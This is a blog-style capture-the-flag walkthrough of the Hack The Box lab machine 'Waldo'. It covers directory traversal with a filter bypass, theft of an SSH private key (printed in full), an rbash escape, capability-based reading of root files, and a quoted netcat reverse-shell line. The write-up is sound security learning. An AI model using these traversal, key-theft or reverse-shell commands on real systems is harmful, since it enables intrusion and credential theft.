Waldo

2020-02-25 00:00:00 +0000

waldo

Waldo is a fun box from the HTB retired list. Its one of my favourites!

nmap -sV -Pn 10.10.10.87


Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 05:15 EST
Nmap scan report for 10.10.10.87
Host is up (0.099s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
80/tcp   open     http           nginx 1.12.2
8888/tcp filtered sun-answerbook

A quick scan shows three ports, one of which is filtered.

Starting with port 80 then…

We get a page which has a “Where’s Waldo” background, It seems to be a page where we can create and manage lists.

waldo1

We can see what requests are being made in Burp.

waldo2

It generates a request to dirRead.php which sends the path parameter path= in the POST request body. This looks likely to be vulnerable to a directory traversal.

POST requests are made to pages “dirRead.php”, “fileWrite.php” and “fileRead.php”

waldo-post

Looking at the POST request to fileRead.php we find that it is similarly vulnerable.

waldo-fileRead

Abusing the inclusion of fileRead.php we can hopefully get to read these php files.

I send the POST request to fileRead.png to burp’s repeater and change the parameter file= to file=fileRead.php

fileRead-contents

It shows that there’s some filters in place to prevent traversal, and reading user.txt. The dotdotslash ../ means to traverse directories is filtered out, but it’s an easy thing to bypass in this case. This can be achieved by using ....// which when ../ is filtered out will leave ../

I send the POST request to dirRead.php to burp’s repeater and change the parameter list= to read list=./....// and get a positive response:


[".","..","html","localhost"]

I continue going back directories by adding more till I’m able to view the /etc directory.

waldo-etc-dir

Switching now to the POST request of fileRead.php again, I attempt to read /etc/passwd

waldo-etc-passwd

we can successfully read /etc/passwd….so what else can we find?

Browsing Waldo’s directories in this manner I find the user nobody’s home directory, and the file .monitor in the .ssh directory, which is a private RSA key…

waldo-nobody-rsa

The format however is not going to work with a copypaste, and the ‘beautifier’ extension is of no real help.

I right-click the POST requset side of the repeater and copy the request as a curl command.


curl -i -s -k -X $'POST' \
    -H $'Host: 10.10.10.87' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://10.10.10.87/list.html' -H $'Content-type: application/x-www-form-urlencoded' -H $'Content-Length: 49' -H $'Connection: close' \
    --data-binary $'file=/....//....//....//home/nobody/.ssh/.monitor\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0a' \
    $'http://10.10.10.87/fileRead.php'

I copy the response minus the headers to a file id_rsa

Using cut and sed I can format this file properly…

It took a while of playing around to get it right…I checked my progress by using the tee command which prints to stdout as well as to file.


cat id_rsa | cut -d "\"" -f 4 | sed 's/\\n/\n/g' | sed 's/\\//g' |tee rsa_key

Finally got the right format.


root@kali:~/HTB/retired/waldo# cat rsa_key 
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
/pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----

Trying to gain access via ssh failed the first time, because I forgot to change the file permissions.

chmod 600 rsa_key fixes the problem.

Eventually I login via ssh to user nobody.

waldo-ssh-access

Got the user.txt flag…


waldo:~$ cat user.txt
32xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx24
waldo:~$ 


Privilege Escalation

sudo -l returns the information that sudo is not installed.

find / -perm -u=s -type f 2>/dev/null returns very little…


/usr/bin/passwd
/usr/bin/chage
/usr/bin/expiry
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd

The ssh welcome message gives us a link to the Alpine Linux Wiki It seems to be a light-weight security orientated linux distro.

Having a poke around, I notice something interesting in the / folder.

waldo-dockerenv Maybe Waldo is hosting a docker container? Am I in the container?

Something else interesting caught my eye when I did netstat -antup

waldo-netstat-antup

We used ssh to access the target, but our connection seems to be on the port 8888 we saw as filtered earlier? We can also see localhost active, and listening on port 9000. We came across a localhost folder earlier in the directory traversal…it appeared empty…

Something strange is going on here!!!

Looking again inside the .ssh folder in nobody’s home directory…


waldo:~/.ssh$ cat known_hosts
localhost ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMsMoPYC4gQXgpVm2SlVUPuagi1mP6V4l5zynWW5f2CogESxxB/uWRLnTMjVdqL279PojOB+3n5iXLAB2sg1Bho=
waldo:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf 

Localhost is included as a known host here…maybe we can connect to localhost via ssh… Using .monitor as the rsa key, and monitor as the username works.

ssh -i .monitor monitor@localhost

waldo-heres-waldo

Found you!

But we’re stuck in a restricted bash shell…


Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1
-rbash: alias: command not found

The shell is very restricted, we cant change directories, cant escape with python, or use many of the normal bash commands like cat or which… I’ve encountered this scenario previously, I remember using ssh with a --noprofile flag but couldn’t remember the exact command. A quick google search (well duckduckgo actually) using the terms ssh bash noprofile and I found something… Adding -t to the command can force ssh to use any tty shell.

ssh -i .monitor monitor@localhost -t sh

It worked, its not the same command as the one I vaguely recall, but at least now I’m able to work freely.

Trying python -c 'import pty;pty.spawn("/bin/bash")' puts me back into the rbash environment, so I exit back to sh.


Browsing monitor’s home directory, we find a folder called app-dev which contains a program which reads information from some log files…

waldo-logMonitorc

Looks ok to run, I try each flag in turn to read the relevant logs…

The only ones that seem to work are the -w and -h flags, the rest fail Cannot open file. The problem is likely to do with file permissions, only root can read those files…???

In the folder there seems to be an earlier version of the file, maybe that one is somehow exploitable…

This version does seem to work.

logmonworks

Why? and how can I exploit it?

Looking for suid files earlier gave scant return, and this file wasn’t on the list, and there’s no sudo to abuse…

This really did have me stumped for a while.

I resisted the temptation to peek at a walkthrough for the box (I had time, and was enjoying this), and did some research.

I duckduckgo’d (doesn’t have quite the same ring to it) superuser permissions without sudo and StackExchange came to my rescue!

this page gave hints about linux ‘capabilities’ and a helpful link to a page which explained them.

I wanted something I could ingest more readily, so googled (you know what I mean) linux capabilities

this page explained things nicely.

as did this page.


Now I had a fair idea of what I was dealing with, the next step was finding out how ‘capabilities’ could be exploited.

this page by Raj Chandel came up trumps. I’ve found his blogs very useful and informative in the past, and he set it out nicely again.

getcap -r / 2>/dev/null did nothing…


$ getcap logMonitor-0.1
sh: 62: getcap: not found

which getcap did nothing…

man getcap did give me the man page for getcap, so I know it’s there somewhere.


$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games

The path is still restricted, this is likely to be the root cause of my frustration.

I copied the path on my machine and exported it to Waldo…


export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin:/root/go/bin

The getcap commands worked this time.

getcap

Great!

The output for the getcap -r / 2>/dev/null command shows another binary with the same capabilities…


/usr/bin/tac = cap_dac_read_search+ei

man tac reveals that tac reads files in reverse (last line first) This too can read root files…….hmmmm!


$ /usr/bin/tac /root/root.txt
8fxxxxxxxxxxxxxxxxxxxxxxxxxxxx6c

Postscript / Reflections

I know that this box could have been exploited quicker and slicker.

I decided to check out some other HTB Walkthroughs to see how others achieved the root flag, what they did differently or better, and if anyone got a root shell. Since this is a ‘Capture The Flag’ environment, it’s essentially a smash and grab for the flag, and the systematic enumeration and analysis of a full ‘Penetration Test’ is not neccessary; but it would be nice to learn from other walkthroughs about the target, and how my approach could improve.

I check out 0xdf’s walkthrough, his high level of experience always makes for good learning. His use of curl and particularly jq to beautify the responses is brilliant. I’ve used curl plenty, I’ve also used jq; but didn’t have the same vision to use them in conjuction in this instance. I replicated his technique and marvelled at it’s simplicity, especially it’s effective formatting of the private RSA key.

It’s definately something I will not forget.


I also find out that my means of getting monitor’s unrestricted shell was the ‘unintended route’. 0xdf points to the other folder in nobody’s home directory. I’d looked in there, but realise I didnt explore its contents at all. He uses the red (restricted ‘ed’ text editor) to get a full shell. He does mention the use of -t in the ssh command as I used, and quickly exports his PATH to make the shell fully functional, something that took me a while to figure out.

The infosecinstitute walkthrough is much the same, though I find the site horrible to use. It does however remind me of the ssh command I couldn’t quite remember…


ssh -i .monitor monitor@localhost -t "bash -noprofile"

I’d picked this up previously, and won’t forget it again, although it wouldn’t have helped me any more than the command I eventually used.

Jack Barradell-Johns has a more readable walthrough than infosecinstitute, but like them doesn’t show how he reformatted the private RSA key. He also uses the -noprofile flag in his ssh command.

BAS Infosec Blog by L4MPJE has a good walkthrough, dark theme (I feel so unoriginal!) and very readable. He also uses sed and cut to reformat the RSA key as I did…but achieves it in a single command which pipes the output from a curl command, formats the text, redirects output to file, and changes file permissions….impressive!


curl -s -X POST http://10.10.10.87/fileRead.php --data "file=..././..././..././..././..././home/nobody/.ssh/.monitor" | cut -d "\"" -f 4 | sed 's/\\n/\n/g' | sed 's/\\//g' > nobody.key && chmod 600 nobody.key

He also uses the “bash -noprofile” argument for the ssh command…but ommits the -t. The result is that he loses the bash prompt, but recovers it with the python pty.spawn command. L4MPJE too, spots the need to export a new $PATH much earlier than myself.

George O’s writeup on Medium.com contains a great python script the author wrote to exploit the directory traversal and file disclosure vulnerabilities on the box…It’s well worth checking out! He also uses a nifty way of getting monitor’s bash shell, by directing the ssh traffic through netcat…back to his kali box…


ssh monitor@127.0.0.1 -i .monitor nc 10.10.15.1 4444 -e /bin/bash

Jai Minton has an interesting writeup. He uses a PHP script to reformat the private RSA key. He also escapes the rbash shell the intended way!


On the whole Im pretty pleased with my effort; I’ve learned a few things. I’ll recognize that I’m in a docker container faster next time, I’ll know how to identify linux file capabilities, and that use of curl piping output through jq is going in my back pocket! A very enjoyable box; big thanks to its makers for the experience!!!

:D